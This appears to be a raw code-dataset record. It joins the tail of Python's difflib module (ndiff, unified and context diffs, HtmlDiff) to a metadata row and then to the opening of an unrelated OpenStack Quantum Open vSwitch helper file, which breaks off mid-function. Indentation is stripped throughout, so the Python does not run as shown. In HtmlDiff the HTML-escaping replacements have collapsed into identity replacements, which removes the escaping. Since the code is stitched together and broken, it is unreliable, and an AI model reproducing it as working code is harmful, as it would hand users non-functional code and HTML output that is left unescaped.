'? \t ^ ^ ^\n'
'+ \tabcdefGhijkl\n'
'? \t ^ ^ ^\n'
"""
# Can hurt, but will probably help most of the time.
common = min(_count_leading(aline, "\t"),
_count_leading(bline, "\t"))
common = min(common, _count_leading(atags[:common], " "))
common = min(common, _count_leading(btags[:common], " "))
atags = atags[common:].rstrip()
btags = btags[common:].rstrip()
yield "- " + aline
if atags:
yield "? %s%s\n" % ("\t" * common, atags)
yield "+ " + bline
if btags:
yield "? %s%s\n" % ("\t" * common, btags)
# With respect to junk, an earlier version of ndiff simply refused to
# *start* a match with a junk element. The result was cases like this:
# before: private Thread currentThread;
# after: private volatile Thread currentThread;
# If you consider whitespace to be junk, the longest contiguous match
# not starting with junk is "e Thread currentThread". So ndiff reported
# that "e volatil" was inserted between the 't' and the 'e' in "private".
# While an accurate view, to people that's absurd. The current version
# looks for matching blocks that are entirely junk-free, then extends the
# longest one of those as far as possible but only with matching junk.
# So now "currentThread" is matched, then extended to suck up the
# preceding blank; then "private" is matched, and extended to suck up the
# following blank; then "Thread" is matched; and finally ndiff reports
# that "volatile " was inserted before "Thread". The only quibble
# remaining is that perhaps it was really the case that " volatile"
# was inserted after "private". I can live with that <wink>.
import re
def IS_LINE_JUNK(line, pat=re.compile(r"\s*(?:#\s*)?$").match):
r"""
Return 1 for ignorable line: iff `line` is blank or contains a single '#'.
Examples:
>>> IS_LINE_JUNK('\n')
True
>>> IS_LINE_JUNK(' # \n')
True
>>> IS_LINE_JUNK('hello\n')
False
"""
return pat(line) is not None
def IS_CHARACTER_JUNK(ch, ws=" \t"):
r"""
Return 1 for ignorable character: iff `ch` is a space or tab.
Examples:
>>> IS_CHARACTER_JUNK(' ')
True
>>> IS_CHARACTER_JUNK('\t')
True
>>> IS_CHARACTER_JUNK('\n')
False
>>> IS_CHARACTER_JUNK('x')
False
"""
return ch in ws
########################################################################
### Unified Diff
########################################################################
def _format_range_unified(start, stop):
'Convert range to the "ed" format'
# Per the diff spec at http://www.unix.org/single_unix_specification/
beginning = start + 1 # lines start numbering with one
length = stop - start
if length == 1:
return '{}'.format(beginning)
if not length:
beginning -= 1 # empty ranges begin at line just before the range
return '{},{}'.format(beginning, length)
def unified_diff(a, b, fromfile='', tofile='', fromfiledate='',
tofiledate='', n=3, lineterm='\n'):
r"""
Compare two sequences of lines; generate the delta as a unified diff.
Unified diffs are a compact way of showing line changes and a few
lines of context. The number of context lines is set by 'n' which
defaults to three.
By default, the diff control lines (those with ---, +++, or @@) are
created with a trailing newline. This is helpful so that inputs
created from file.readlines() result in diffs that are suitable for
file.writelines() since both the inputs and outputs have trailing
newlines.
For inputs that do not have trailing newlines, set the lineterm
argument to "" so that the output will be uniformly newline free.
The unidiff format normally has a header for filenames and modification
times. Any or all of these may be specified using strings for
'fromfile', 'tofile', 'fromfiledate', and 'tofiledate'.
The modification times are normally expressed in the ISO 8601 format.
Example:
>>> for line in unified_diff('one two three four'.split(),
... 'zero one tree four'.split(), 'Original', 'Current',
... '2005-01-26 23:30:50', '2010-04-02 10:20:52',
... lineterm=''):
... print(line) # doctest: +NORMALIZE_WHITESPACE
--- Original 2005-01-26 23:30:50
+++ Current 2010-04-02 10:20:52
@@ -1,4 +1,4 @@
+zero
one
-two
-three
+tree
four
"""
started = False
for group in SequenceMatcher(None,a,b).get_grouped_opcodes(n):
if not started:
started = True
fromdate = '\t{}'.format(fromfiledate) if fromfiledate else ''
todate = '\t{}'.format(tofiledate) if tofiledate else ''
yield '--- {}{}{}'.format(fromfile, fromdate, lineterm)
yield '+++ {}{}{}'.format(tofile, todate, lineterm)
first, last = group[0], group[-1]
file1_range = _format_range_unified(first[1], last[2])
file2_range = _format_range_unified(first[3], last[4])
yield '@@ -{} +{} @@{}'.format(file1_range, file2_range, lineterm)
for tag, i1, i2, j1, j2 in group:
if tag == 'equal':
for line in a[i1:i2]:
yield ' ' + line
continue
if tag in {'replace', 'delete'}:
for line in a[i1:i2]:
yield '-' + line
if tag in {'replace', 'insert'}:
for line in b[j1:j2]:
yield '+' + line
########################################################################
### Context Diff
########################################################################
def _format_range_context(start, stop):
'Convert range to the "ed" format'
# Per the diff spec at http://www.unix.org/single_unix_specification/
beginning = start + 1 # lines start numbering with one
length = stop - start
if not length:
beginning -= 1 # empty ranges begin at line just before the range
if length <= 1:
return '{}'.format(beginning)
return '{},{}'.format(beginning, beginning + length - 1)
# See http://www.unix.org/single_unix_specification/
def context_diff(a, b, fromfile='', tofile='',
fromfiledate='', tofiledate='', n=3, lineterm='\n'):
r"""
Compare two sequences of lines; generate the delta as a context diff.
Context diffs are a compact way of showing line changes and a few
lines of context. The number of context lines is set by 'n' which
defaults to three.
By default, the diff control lines (those with *** or ---) are
created with a trailing newline. This is helpful so that inputs
created from file.readlines() result in diffs that are suitable for
file.writelines() since both the inputs and outputs have trailing
newlines.
For inputs that do not have trailing newlines, set the lineterm
argument to "" so that the output will be uniformly newline free.
The context diff format normally has a header for filenames and
modification times. Any or all of these may be specified using
strings for 'fromfile', 'tofile', 'fromfiledate', and 'tofiledate'.
The modification times are normally expressed in the ISO 8601 format.
If not specified, the strings default to blanks.
Example:
>>> print(''.join(context_diff('one\ntwo\nthree\nfour\n'.splitlines(True),
... 'zero\none\ntree\nfour\n'.splitlines(True), 'Original', 'Current')),
... end="")
*** Original
--- Current
***************
*** 1,4 ****
one
! two
! three
four
--- 1,4 ----
+ zero
one
! tree
four
"""
prefix = dict(insert='+ ', delete='- ', replace='! ', equal=' ')
started = False
for group in SequenceMatcher(None,a,b).get_grouped_opcodes(n):
if not started:
started = True
fromdate = '\t{}'.format(fromfiledate) if fromfiledate else ''
todate = '\t{}'.format(tofiledate) if tofiledate else ''
yield '*** {}{}{}'.format(fromfile, fromdate, lineterm)
yield '--- {}{}{}'.format(tofile, todate, lineterm)
first, last = group[0], group[-1]
yield '***************' + lineterm
file1_range = _format_range_context(first[1], last[2])
yield '*** {} ****{}'.format(file1_range, lineterm)
if any(tag in {'replace', 'delete'} for tag, _, _, _, _ in group):
for tag, i1, i2, _, _ in group:
if tag != 'insert':
for line in a[i1:i2]:
yield prefix[tag] + line
file2_range = _format_range_context(first[3], last[4])
yield '--- {} ----{}'.format(file2_range, lineterm)
if any(tag in {'replace', 'insert'} for tag, _, _, _, _ in group):
for tag, _, _, j1, j2 in group:
if tag != 'delete':
for line in b[j1:j2]:
yield prefix[tag] + line
def ndiff(a, b, linejunk=None, charjunk=IS_CHARACTER_JUNK):
r"""
Compare `a` and `b` (lists of strings); return a `Differ`-style delta.
Optional keyword parameters `linejunk` and `charjunk` are for filter
functions (or None):
- linejunk: A function that should accept a single string argument, and
return true iff the string is junk. The default is None, and is
recommended; as of Python 2.3, an adaptive notion of "noise" lines is
used that does a good job on its own.
- charjunk: A function that should accept a string of length 1. The
default is module-level function IS_CHARACTER_JUNK, which filters out
whitespace characters (a blank or tab; note: bad idea to include newline
in this!).
Tools/scripts/ndiff.py is a command-line front-end to this function.
Example:
>>> diff = ndiff('one\ntwo\nthree\n'.splitlines(keepends=True),
... 'ore\ntree\nemu\n'.splitlines(keepends=True))
>>> print(''.join(diff), end="")
- one
? ^
+ ore
? ^
- two
- three
? -
+ tree
+ emu
"""
return Differ(linejunk, charjunk).compare(a, b)
def _mdiff(fromlines, tolines, context=None, linejunk=None,
charjunk=IS_CHARACTER_JUNK):
r"""Returns generator yielding marked up from/to side by side differences.
Arguments:
fromlines -- list of text lines to compared to tolines
tolines -- list of text lines to be compared to fromlines
context -- number of context lines to display on each side of difference,
if None, all from/to text lines will be generated.
linejunk -- passed on to ndiff (see ndiff documentation)
charjunk -- passed on to ndiff (see ndiff documentation)
This function returns an iterator which returns a tuple:
(from line tuple, to line tuple, boolean flag)
from/to line tuple -- (line num, line text)
line num -- integer or None (to indicate a context separation)
line text -- original line text with following markers inserted:
'\0+' -- marks start of added text
'\0-' -- marks start of deleted text
'\0^' -- marks start of changed text
'\1' -- marks end of added/deleted/changed text
boolean flag -- None indicates context separation, True indicates
either "from" or "to" line contains a change, otherwise False.
This function/iterator was originally developed to generate side by side
file difference for making HTML pages (see HtmlDiff class for example
usage).
Note, this function utilizes the ndiff function to generate the side by
side difference markup. Optional ndiff arguments may be passed to this
function and they in turn will be passed to ndiff.
"""
import re
# regular expression for finding intraline change indices
change_re = re.compile('(\++|\-+|\^+)')
# create the difference iterator to generate the differences
diff_lines_iterator = ndiff(fromlines,tolines,linejunk,charjunk)
def _make_line(lines, format_key, side, num_lines=[0,0]):
"""Returns line of text with user's change markup and line formatting.
lines -- list of lines from the ndiff generator to produce a line of
text from. When producing the line of text to return, the
lines used are removed from this list.
format_key -- '+' return first line in list with "add" markup around
the entire line.
'-' return first line in list with "delete" markup around
the entire line.
'?' return first line in list with add/delete/change
intraline markup (indices obtained from second line)
None return first line in list with no markup
side -- indice into the num_lines list (0=from,1=to)
num_lines -- from/to current line number. This is NOT intended to be a
passed parameter. It is present as a keyword argument to
maintain memory of the current line numbers between calls
of this function.
Note, this function is purposefully not defined at the module scope so
that data it needs from its parent function (within whose context it
is defined) does not need to be of module scope.
"""
num_lines[side] += 1
# Handle case where no user markup is to be added, just return line of
# text with user's line format to allow for usage of the line number.
if format_key is None:
return (num_lines[side],lines.pop(0)[2:])
# Handle case of intraline changes
if format_key == '?':
text, markers = lines.pop(0), lines.pop(0)
# find intraline changes (store change type and indices in tuples)
sub_info = []
def record_sub_info(match_object,sub_info=sub_info):
sub_info.append([match_object.group(1)[0],match_object.span()])
return match_object.group(1)
change_re.sub(record_sub_info,markers)
# process each tuple inserting our special marks that won't be
# noticed by an xml/html escaper.
for key,(begin,end) in sub_info[::-1]:
text = text[0:begin]+'\0'+key+text[begin:end]+'\1'+text[end:]
text = text[2:]
# Handle case of add/delete entire line
else:
text = lines.pop(0)[2:]
# if line of text is just a newline, insert a space so there is
# something for the user to highlight and see.
if not text:
text = ' '
# insert marks that won't be noticed by an xml/html escaper.
text = '\0' + format_key + text + '\1'
# Return line of text, first allow user's line formatter to do its
# thing (such as adding the line number) then replace the special
# marks with what the user's change markup.
return (num_lines[side],text)
def _line_iterator():
"""Yields from/to lines of text with a change indication.
This function is an iterator. It itself pulls lines from a
differencing iterator, processes them and yields them. When it can
it yields both a "from" and a "to" line, otherwise it will yield one
or the other. In addition to yielding the lines of from/to text, a
boolean flag is yielded to indicate if the text line(s) have
differences in them.
Note, this function is purposefully not defined at the module scope so
that data it needs from its parent function (within whose context it
is defined) does not need to be of module scope.
"""
lines = []
num_blanks_pending, num_blanks_to_yield = 0, 0
while True:
# Load up next 4 lines so we can look ahead, create strings which
# are a concatenation of the first character of each of the 4 lines
# so we can do some very readable comparisons.
while len(lines) < 4:
try:
lines.append(next(diff_lines_iterator))
except StopIteration:
lines.append('X')
s = ''.join([line[0] for line in lines])
if s.startswith('X'):
# When no more lines, pump out any remaining blank lines so the
# corresponding add/delete lines get a matching blank line so
# all line pairs get yielded at the next level.
num_blanks_to_yield = num_blanks_pending
elif s.startswith('-?+?'):
# simple intraline change
yield _make_line(lines,'?',0), _make_line(lines,'?',1), True
continue
elif s.startswith('--++'):
# in delete block, add block coming: we do NOT want to get
# caught up on blank lines yet, just process the delete line
num_blanks_pending -= 1
yield _make_line(lines,'-',0), None, True
continue
elif s.startswith(('--?+', '--+', '- ')):
# in delete block and see an intraline change or unchanged line
# coming: yield the delete line and then blanks
from_line,to_line = _make_line(lines,'-',0), None
num_blanks_to_yield,num_blanks_pending = num_blanks_pending-1,0
elif s.startswith('-+?'):
# intraline change
yield _make_line(lines,None,0), _make_line(lines,'?',1), True
continue
elif s.startswith('-?+'):
# intraline change
yield _make_line(lines,'?',0), _make_line(lines,None,1), True
continue
elif s.startswith('-'):
# delete FROM line
num_blanks_pending -= 1
yield _make_line(lines,'-',0), None, True
continue
elif s.startswith('+--'):
# in add block, delete block coming: we do NOT want to get
# caught up on blank lines yet, just process the add line
num_blanks_pending += 1
yield None, _make_line(lines,'+',1), True
continue
elif s.startswith(('+ ', '+-')):
# will be leaving an add block: yield blanks then add line
from_line, to_line = None, _make_line(lines,'+',1)
num_blanks_to_yield,num_blanks_pending = num_blanks_pending+1,0
elif s.startswith('+'):
# inside an add block, yield the add line
num_blanks_pending += 1
yield None, _make_line(lines,'+',1), True
continue
elif s.startswith(' '):
# unchanged text, yield it to both sides
yield _make_line(lines[:],None,0),_make_line(lines,None,1),False
continue
# Catch up on the blank lines so when we yield the next from/to
# pair, they are lined up.
while(num_blanks_to_yield < 0):
num_blanks_to_yield += 1
yield None,('','\n'),True
while(num_blanks_to_yield > 0):
num_blanks_to_yield -= 1
yield ('','\n'),None,True
if s.startswith('X'):
raise StopIteration
else:
yield from_line,to_line,True
def _line_pair_iterator():
"""Yields from/to lines of text with a change indication.
This function is an iterator. It itself pulls lines from the line
iterator. Its difference from that iterator is that this function
always yields a pair of from/to text lines (with the change
indication). If necessary it will collect single from/to lines
until it has a matching pair from/to pair to yield.
Note, this function is purposefully not defined at the module scope so
that data it needs from its parent function (within whose context it
is defined) does not need to be of module scope.
"""
line_iterator = _line_iterator()
fromlines,tolines=[],[]
while True:
# Collecting lines of text until we have a from/to pair
while (len(fromlines)==0 or len(tolines)==0):
from_line, to_line, found_diff = next(line_iterator)
if from_line is not None:
fromlines.append((from_line,found_diff))
if to_line is not None:
tolines.append((to_line,found_diff))
# Once we have a pair, remove them from the collection and yield it
from_line, fromDiff = fromlines.pop(0)
to_line, to_diff = tolines.pop(0)
yield (from_line,to_line,fromDiff or to_diff)
# Handle case where user does not want context differencing, just yield
# them up without doing anything else with them.
line_pair_iterator = _line_pair_iterator()
if context is None:
while True:
yield next(line_pair_iterator)
# Handle case where user wants context differencing. We must do some
# storage of lines until we know for sure that they are to be yielded.
else:
context += 1
lines_to_write = 0
while True:
# Store lines up until we find a difference, note use of a
# circular queue because we only need to keep around what
# we need for context.
index, contextLines = 0, [None]*(context)
found_diff = False
while(found_diff is False):
from_line, to_line, found_diff = next(line_pair_iterator)
i = index % context
contextLines[i] = (from_line, to_line, found_diff)
index += 1
# Yield lines that we have collected so far, but first yield
# the user's separator.
if index > context:
yield None, None, None
lines_to_write = context
else:
lines_to_write = index
index = 0
while(lines_to_write):
i = index % context
index += 1
yield contextLines[i]
lines_to_write -= 1
# Now yield the context lines after the change
lines_to_write = context-1
while(lines_to_write):
from_line, to_line, found_diff = next(line_pair_iterator)
# If another change within the context, extend the context
if found_diff:
lines_to_write = context-1
else:
lines_to_write -= 1
yield from_line, to_line, found_diff
_file_template = """
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type"
content="text/html; charset=ISO-8859-1" />
<title></title>
<style type="text/css">%(styles)s
</style>
</head>
<body>
%(table)s%(legend)s
</body>
</html>"""
_styles = """
table.diff {font-family:Courier; border:medium;}
.diff_header {background-color:#e0e0e0}
td.diff_header {text-align:right}
.diff_next {background-color:#c0c0c0}
.diff_add {background-color:#aaffaa}
.diff_chg {background-color:#ffff77}
.diff_sub {background-color:#ffaaaa}"""
_table_template = """
<table class="diff" id="difflib_chg_%(prefix)s_top"
cellspacing="0" cellpadding="0" rules="groups" >
<colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>
<colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>
%(header_row)s
<tbody>
%(data_rows)s </tbody>
</table>"""
_legend = """
<table class="diff" summary="Legends">
<tr> <th colspan="2"> Legends </th> </tr>
<tr> <td> <table border="" summary="Colors">
<tr><th> Colors </th> </tr>
<tr><td class="diff_add"> Added </td></tr>
<tr><td class="diff_chg">Changed</td> </tr>
<tr><td class="diff_sub">Deleted</td> </tr>
</table></td>
<td> <table border="" summary="Links">
<tr><th colspan="2"> Links </th> </tr>
<tr><td>(f)irst change</td> </tr>
<tr><td>(n)ext change</td> </tr>
<tr><td>(t)op</td> </tr>
</table></td> </tr>
</table>"""
class HtmlDiff(object):
"""For producing HTML side by side comparison with change highlights.
This class can be used to create an HTML table (or a complete HTML file
containing the table) showing a side by side, line by line comparison
of text with inter-line and intra-line change highlights. The table can
be generated in either full or contextual difference mode.
The following methods are provided for HTML generation:
make_table -- generates HTML for a single side by side table
make_file -- generates complete HTML file with a single side by side table
See tools/scripts/diff.py for an example usage of this class.
"""
_file_template = _file_template
_styles = _styles
_table_template = _table_template
_legend = _legend
_default_prefix = 0
def __init__(self,tabsize=8,wrapcolumn=None,linejunk=None,
charjunk=IS_CHARACTER_JUNK):
"""HtmlDiff instance initializer
Arguments:
tabsize -- tab stop spacing, defaults to 8.
wrapcolumn -- column number where lines are broken and wrapped,
defaults to None where lines are not wrapped.
linejunk,charjunk -- keyword arguments passed into ndiff() (used to by
HtmlDiff() to generate the side by side HTML differences). See
ndiff() documentation for argument default values and descriptions.
"""
self._tabsize = tabsize
self._wrapcolumn = wrapcolumn
self._linejunk = linejunk
self._charjunk = charjunk
def make_file(self,fromlines,tolines,fromdesc='',todesc='',context=False,
numlines=5):
"""Returns HTML file of side by side comparison with change highlights
Arguments:
fromlines -- list of "from" lines
tolines -- list of "to" lines
fromdesc -- "from" file column header string
todesc -- "to" file column header string
context -- set to True for contextual differences (defaults to False
which shows full differences).
numlines -- number of context lines. When context is set True,
controls number of lines displayed before and after the change.
When context is False, controls the number of lines to place
the "next" link anchors before the next change (so click of
"next" link jumps to just before the change).
"""
return self._file_template % dict(
styles = self._styles,
legend = self._legend,
table = self.make_table(fromlines,tolines,fromdesc,todesc,
context=context,numlines=numlines))
def _tab_newline_replace(self,fromlines,tolines):
"""Returns from/to line lists with tabs expanded and newlines removed.
Instead of tab characters being replaced by the number of spaces
needed to fill in to the next tab stop, this function will fill
the space with tab characters. This is done so that the difference
algorithms can identify changes in a file when tabs are replaced by
spaces and vice versa. At the end of the HTML generation, the tab
characters will be replaced with a nonbreakable space.
"""
def expand_tabs(line):
# hide real spaces
line = line.replace(' ','\0')
# expand tabs into spaces
line = line.expandtabs(self._tabsize)
# replace spaces from expanded tabs back into tab characters
# (we'll replace them with markup after we do differencing)
line = line.replace(' ','\t')
return line.replace('\0',' ').rstrip('\n')
fromlines = [expand_tabs(line) for line in fromlines]
tolines = [expand_tabs(line) for line in tolines]
return fromlines,tolines
def _split_line(self,data_list,line_num,text):
"""Builds list of text lines by splitting text lines at wrap point
This function will determine if the input text line needs to be
wrapped (split) into separate lines. If so, the first wrap point
will be determined and the first line appended to the output
text line list. This function is used recursively to handle
the second part of the split line to further split it.
"""
# if blank line or context separator, just add it to the output list
if not line_num:
data_list.append((line_num,text))
return
# if line text doesn't need wrapping, just add it to the output list
size = len(text)
max = self._wrapcolumn
if (size <= max) or ((size -(text.count('\0')*3)) <= max):
data_list.append((line_num,text))
return
# scan text looking for the wrap point, keeping track if the wrap
# point is inside markers
i = 0
n = 0
mark = ''
while n < max and i < size:
if text[i] == '\0':
i += 1
mark = text[i]
i += 1
elif text[i] == '\1':
i += 1
mark = ''
else:
i += 1
n += 1
# wrap point is inside text, break it up into separate lines
line1 = text[:i]
line2 = text[i:]
# if wrap point is inside markers, place end marker at end of first
# line and start marker at beginning of second line because each
# line will have its own table tag markup around it.
if mark:
line1 = line1 + '\1'
line2 = '\0' + mark + line2
# tack on first line onto the output list
data_list.append((line_num,line1))
# use this routine again to wrap the remaining text
self._split_line(data_list,'>',line2)
def _line_wrapper(self,diffs):
"""Returns iterator that splits (wraps) mdiff text lines"""
# pull from/to data and flags from mdiff iterator
for fromdata,todata,flag in diffs:
# check for context separators and pass them through
if flag is None:
yield fromdata,todata,flag
continue
(fromline,fromtext),(toline,totext) = fromdata,todata
# for each from/to line split it at the wrap column to form
# list of text lines.
fromlist,tolist = [],[]
self._split_line(fromlist,fromline,fromtext)
self._split_line(tolist,toline,totext)
# yield from/to line in pairs inserting blank lines as
# necessary when one side has more wrapped lines
while fromlist or tolist:
if fromlist:
fromdata = fromlist.pop(0)
else:
fromdata = ('',' ')
if tolist:
todata = tolist.pop(0)
else:
todata = ('',' ')
yield fromdata,todata,flag
def _collect_lines(self,diffs):
"""Collects mdiff output into separate lists
Before storing the mdiff from/to data into a list, it is converted
into a single line of text with HTML markup.
"""
fromlist,tolist,flaglist = [],[],[]
# pull from/to data and flags from mdiff style iterator
for fromdata,todata,flag in diffs:
try:
# store HTML markup of the lines into the lists
fromlist.append(self._format_line(0,flag,*fromdata))
tolist.append(self._format_line(1,flag,*todata))
except TypeError:
# exceptions occur for lines where context separators go
fromlist.append(None)
tolist.append(None)
flaglist.append(flag)
return fromlist,tolist,flaglist
def _format_line(self,side,flag,linenum,text):
"""Returns HTML markup of "from" / "to" text lines
side -- 0 or 1 indicating "from" or "to" text
flag -- indicates if difference on line
linenum -- line number (used for line number column)
text -- line text to be marked up
"""
try:
linenum = '%d' % linenum
id = ' id="%s%s"' % (self._prefix[side],linenum)
except TypeError:
# handle blank lines where linenum is '>' or ''
id = ''
# replace those things that would get confused with HTML symbols
text=text.replace("&","&").replace(">",">").replace("<","<")
# make space non-breakable so they don't get compressed or line wrapped
text = text.replace(' ',' ').rstrip()
return '<td class="diff_header"%s>%s</td><td nowrap="nowrap">%s</td>' \
% (id,linenum,text)
def _make_prefix(self):
"""Create unique anchor prefixes"""
# Generate a unique anchor prefix so multiple tables
# can exist on the same HTML page without conflicts.
fromprefix = "from%d_" % HtmlDiff._default_prefix
toprefix = "to%d_" % HtmlDiff._default_prefix
HtmlDiff._default_prefix += 1
# store prefixes so line format method has access
self._prefix = [fromprefix,toprefix]
def _convert_flags(self,fromlist,tolist,flaglist,context,numlines):
"""Makes list of "next" links"""
# all anchor names will be generated using the unique "to" prefix
toprefix = self._prefix[1]
# process change flags, generating middle column of next anchors/links
next_id = ['']*len(flaglist)
next_href = ['']*len(flaglist)
num_chg, in_change = 0, False
last = 0
for i,flag in enumerate(flaglist):
if flag:
if not in_change:
in_change = True
last = i
# at the beginning of a change, drop an anchor a few lines
# (the context lines) before the change for the previous
# link
i = max([0,i-numlines])
next_id[i] = ' id="difflib_chg_%s_%d"' % (toprefix,num_chg)
# at the beginning of a change, drop a link to the next
# change
num_chg += 1
next_href[last] = '<a href="#difflib_chg_%s_%d">n</a>' % (
toprefix,num_chg)
else:
in_change = False
# check for cases where there is no content to avoid exceptions
if not flaglist:
flaglist = [False]
next_id = ['']
next_href = ['']
last = 0
if context:
fromlist = ['<td></td><td> No Differences Found </td>']
tolist = fromlist
else:
fromlist = tolist = ['<td></td><td> Empty File </td>']
# if not a change on first line, drop a link
if not flaglist[0]:
next_href[0] = '<a href="#difflib_chg_%s_0">f</a>' % toprefix
# redo the last link to link to the top
next_href[last] = '<a href="#difflib_chg_%s_top">t</a>' % (toprefix)
return fromlist,tolist,flaglist,next_href,next_id
def make_table(self,fromlines,tolines,fromdesc='',todesc='',context=False,
numlines=5):
"""Returns HTML table of side by side comparison with change highlights
Arguments:
fromlines -- list of "from" lines
tolines -- list of "to" lines
fromdesc -- "from" file column header string
todesc -- "to" file column header string
context -- set to True for contextual differences (defaults to False
which shows full differences).
numlines -- number of context lines. When context is set True,
controls number of lines displayed before and after the change.
When context is False, controls the number of lines to place
the "next" link anchors before the next change (so click of
"next" link jumps to just before the change).
"""
# make unique anchor prefixes so that multiple tables may exist
# on the same page without conflict.
self._make_prefix()
# change tabs to spaces before it gets more difficult after we insert
# markup
fromlines,tolines = self._tab_newline_replace(fromlines,tolines)
# create diffs iterator which generates side by side from/to data
if context:
context_lines = numlines
else:
context_lines = None
diffs = _mdiff(fromlines,tolines,context_lines,linejunk=self._linejunk,
charjunk=self._charjunk)
# set up iterator to wrap lines that exceed desired width
if self._wrapcolumn:
diffs = self._line_wrapper(diffs)
# collect up from/to lines and flags into lists (also format the lines)
fromlist,tolist,flaglist = self._collect_lines(diffs)
# process change flags, generating middle column of next anchors/links
fromlist,tolist,flaglist,next_href,next_id = self._convert_flags(
fromlist,tolist,flaglist,context,numlines)
s = []
fmt = ' <tr><td class="diff_next"%s>%s</td>%s' + \
'<td class="diff_next">%s</td>%s</tr>\n'
for i in range(len(flaglist)):
if flaglist[i] is None:
# mdiff yields None on separator lines skip the bogus ones
# generated for the first line
if i > 0:
s.append(' </tbody> \n <tbody>\n')
else:
s.append( fmt % (next_id[i],next_href[i],fromlist[i],
next_href[i],tolist[i]))
if fromdesc or todesc:
header_row = '<thead><tr>%s%s%s%s</tr></thead>' % (
'<th class="diff_next"><br /></th>',
'<th colspan="2" class="diff_header">%s</th>' % fromdesc,
'<th class="diff_next"><br /></th>',
'<th colspan="2" class="diff_header">%s</th>' % todesc)
else:
header_row = ''
table = self._table_template % dict(
data_rows=''.join(s),
header_row=header_row,
prefix=self._prefix[1])
return table.replace('\0+','<span class="diff_add">'). \
replace('\0-','<span class="diff_sub">'). \
replace('\0^','<span class="diff_chg">'). \
replace('\1','</span>'). \
replace('\t',' ')
del re
def restore(delta, which):
r"""
Generate one of the two sequences that generated a delta.
Given a `delta` produced by `Differ.compare()` or `ndiff()`, extract
lines originating from file 1 or 2 (parameter `which`), stripping off line
prefixes.
Examples:
>>> diff = ndiff('one\ntwo\nthree\n'.splitlines(keepends=True),
... 'ore\ntree\nemu\n'.splitlines(keepends=True))
>>> diff = list(diff)
>>> print(''.join(restore(diff, 1)), end="")
one
two
three
>>> print(''.join(restore(diff, 2)), end="")
ore
tree
emu
"""
try:
tag = {1: "- ", 2: "+ "}[int(which)]
except KeyError:
raise ValueError('unknown delta choice (must be 1 or 2): %r'
% which)
prefixes = (" ", tag)
for line in delta:
if line[:2] in prefixes:
yield line[2:]
| [
"[email protected]"
] | |
b61dd5981a9177ea2adff1e9fbfbe535e6ea3ce7 | 636d06ee1f85caace855f8fb8d9e6c09a22c18ba | /quantum/agent/linux/ovs_lib.py | 5e8cb94a0b86269778e403aebd87819442fd93dc | [
"Apache-2.0"
] | permissive | linvictor88/vse-lbaas-driver | bf377e9c3804c9329bc15797150dcc50a3d2ea65 | 08eadb2929468554a409cf13e5ec1fac1d59a73e | refs/heads/master | 2016-09-11T06:27:22.495017 | 2013-07-28T16:02:45 | 2013-07-28T16:02:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,771 | py | # vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 Nicira Networks, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
# @author: Somik Behera, Nicira Networks, Inc.
# @author: Brad Hall, Nicira Networks, Inc.
# @author: Dan Wendlandt, Nicira Networks, Inc.
# @author: Dave Lapsley, Nicira Networks, Inc.
import re
from quantum.agent.linux import ip_lib
from quantum.agent.linux import utils
from quantum.openstack.common import log as logging
LOG = logging.getLogger(__name__)
class VifPort:
def __init__(self, port_name, ofport, vif_id, vif_mac, switch):
self.port_name = port_name
self.ofport = ofport
self.vif_id = vif_id
self.vif_mac = vif_mac
self.switch = switch
def __str__(self):
return ("iface-id=" + self.vif_id + ", vif_mac=" +
self.vif_mac + ", port_name=" + self.port_name +
", ofport=" + str(self.ofport) + ", bridge_name =" +
self.switch.br_name)
class OVSBridge:
def __init__(self, br_name, root_helper):
self.br_name = br_name
self.root_helper = root_helper
self.re_id = self.re_compile_id()
def re_compile_id(self):
external = 'external_ids\s*'
mac = 'attached-mac="(?P<vif_mac>([a-fA-F\d]{2}:){5}([a-fA-F\d]{2}))"'
iface = 'iface-id="(?P<vif_id>[^"]+)"'
name = 'name\s*:\s"(?P<port_name>[^"]*)"'
port = 'ofport\s*:\s(?P<ofport>-?\d+)'
_re = ('%(external)s:\s{ ( %(mac)s,? | %(iface)s,? | . )* }'
' \s+ %(name)s \s+ %(port)s' % {'external': external,
'mac': mac,
'iface': iface, 'name': name,
'port': port})
return re.compile(_re, re.M | re.X)
def run_vsctl(self, args):
full_args = ["ovs-vsctl", "--timeout=2"] + args
try:
return utils.execute(full_args, root_helper=self.root_helper)
except Exception as e:
LOG.error(_("Unable to execute %(cmd)s. Exception: %(exception)s"),
{'cmd': full_args, 'exception': e})
def reset_bridge(self):
self.run_vsctl(["--", "--if-exists", "del-br", self.br_name])
self.run_vsctl(["add-br", self.br_name])
def add_port(self, port_name):
self.run_vsctl(["--", "--may-exist", "add-port", self.br_name,
port_name])
return self.get_port_ofport(port_name)
def delete_port(self, port_name):
self.run_vsctl(["--", "--if-exists", "del-port", self.br_name,
port_name])
def set_db_attribute(self, table_name, record, column, value):
args = ["set", table_name, record, "%s=%s" % (column, value)]
self.run_vsctl(args)
def clear_db_attribute(self, table_name, record, column):
args = ["clear", table_name, record, column]
self.run_vsctl(args)
def run_ofctl(self, cmd, args):
full_args = ["ovs-ofctl", cmd, self.br_name] + args
try:
return utils.execute(full_args, root_helper=self.root_helper)
except Exception as e:
LOG.error(_("Unable to execute %(cmd)s. Exception: %(exception)s"),
{'cmd': full_args, 'exception': e})
def count_flows(self):
flow_list = self.run_ofctl("dump-flows", []).split("\n")[1:]
return len(flow_list) - 1
def remove_all_flows(self):
self.run_ofctl("del-flows", [])
def get_port_ofport(self, port_name):
return self.db_get_val("Interface", port_name, "ofport")
def get_datapath_id(self):
return self.db_get_val('Bridge',
self.br_name, 'datapath_id').strip('"')
def _build_flow_expr_arr(self, **kwargs):
flow_expr_arr = []
is_delete_expr = kwargs.get('delete', False)
if not is_delete_expr:
